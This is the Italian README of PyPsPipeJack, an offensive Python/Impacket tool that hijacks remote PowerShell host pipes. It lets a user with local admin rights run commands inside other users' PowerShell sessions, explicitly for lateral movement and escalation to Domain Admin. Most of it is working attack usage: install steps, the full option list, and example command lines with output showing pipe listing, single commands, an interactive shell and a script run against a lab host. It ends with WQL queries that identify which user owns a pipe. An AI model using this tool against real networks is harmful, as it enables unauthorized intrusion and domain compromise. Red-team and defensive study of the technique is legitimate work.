e-fin/pypspipejackImplementazione Python di OpenPsPipeJack
Questo strumento è la continuazione del mio altro strumento, OpenPsPipeJack. Questo è basato su Python e funziona su Linux utilizzando principalmente Impacket.
In sintesi, se disponi di privilegi di amministratore locale su un host remoto, puoi connetterti a sessioni PowerShell remote su quell'host ed eseguire comandi all'interno di tali sessioni PowerShell. Questo non solo offre opportunità di movimento laterale, ma anche di escalation dei privilegi. Ad esempio, se ottieni l'accesso come amministratore locale tramite qualcosa come RBCD, Shadow Credentials, ecc., e sull'host remoto è presente un Domain Admin con una sessione PowerShell aperta, puoi eseguire comandi come amministratore di dominio e aggiungere un utente da te controllato al gruppo Domain Admins.
git clone https://github.com/e-fin/PyPsPipeJack.git
cd PyPsPipeJack
python3 -m venv .
source bin/activate
python3 -m pip install -r requirements
usage: PyPsPipeJack.py [-h] [-debug] [-hashes LMHASH:NTHASH] [-no-pass] [-k] [-aesKey hex key] [-dc-ip ip address] [-target-ip ip address] [-port [destination port]] [--list] [--pipe PIPE] [--command COMMAND] [--script SCRIPT] target
PowerShell Pipe Jacker
positional arguments:
target [[domain/]username[:password]@]<targetName or address>
options:
-h, --help show this help message and exit
-debug Turn DEBUG output ON
authentication:
-hashes LMHASH:NTHASH
NTLM hashes, format is LMHASH:NTHASH
-no-pass don't ask for password (useful for -k)
-k Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
-aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits)
connection:
-dc-ip ip address IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
-target-ip ip address
IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name and you cannot resolve it
-port [destination port]
Destination port to connect to SMB Server
PowerShell Pipes:
--list list PSHost pipes and exit
--pipe PIPE full pipe name under IPC$ to connect to
--command COMMAND run one command and exit (non-interactive)
--script SCRIPT run entire PS1 file
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --list
PSHost pipes on target:
PSHost.134296493751823186.13108.DefaultAppDomain.powershell
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --list
PSHost pipes on target:
PSHost.134296493751823186.13108.DefaultAppDomain.powershell
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'
LAB\administrator
$ python3 PyPsPipeJack.py -k -no-pass ws01.lab.local --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --command '[System.Security.Principal.WindowsIdentity]::GetCurrent().Name'
LAB\administrator
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell
Connected. Enter PowerShell commands; 'exit' to quit.
PS> whoami
lab\administrator
PS> $i = "hello"
PS> echo $i
hello
PS>
$ cat test.ps1
echo hello
echo hello2
whoami
ipconfig
$ python3 PyPsPipeJack.py 'localhost/administrator:P@ssw0rd'@192.168.1.101 --pipe PSHost.134296493751823186.13108.DefaultAppDomain.powershell --script test.ps1
hello
hello2
lab\administrator
Windows IP Configuration
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : lab.local
Link-local IPv6 Address . . . . . : fe80::f0d3:c6c2:48ad:94f5%13
IPv4 Address. . . . . . . . . . . : 192.168.1.101
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : fe80::20c:29ff:fe9d:a180%13
192.168.1.1
Non è necessario eseguire whoami, o qualsiasi comando PowerShell, per vedere a chi appartiene la pipe PowerShell. Possiamo verificarlo con wmiquery.py di Impacket. Wmi Query Language è enormemente sottovalutato.
Ecco i comandi che devi eseguire, con un esempio di screenshot:
## Replace 13108 with PID from PSHost Pipe
# Example: PSHost.134296493751823186.13108.DefaultAppDomain.powershell
WQL> ASSOCIATORS OF {Win32_Process.Handle="13108"} WHERE AssocClass=Win32_SessionProcess
WQL> SELECT * FROM Win32_LoggedOnUser
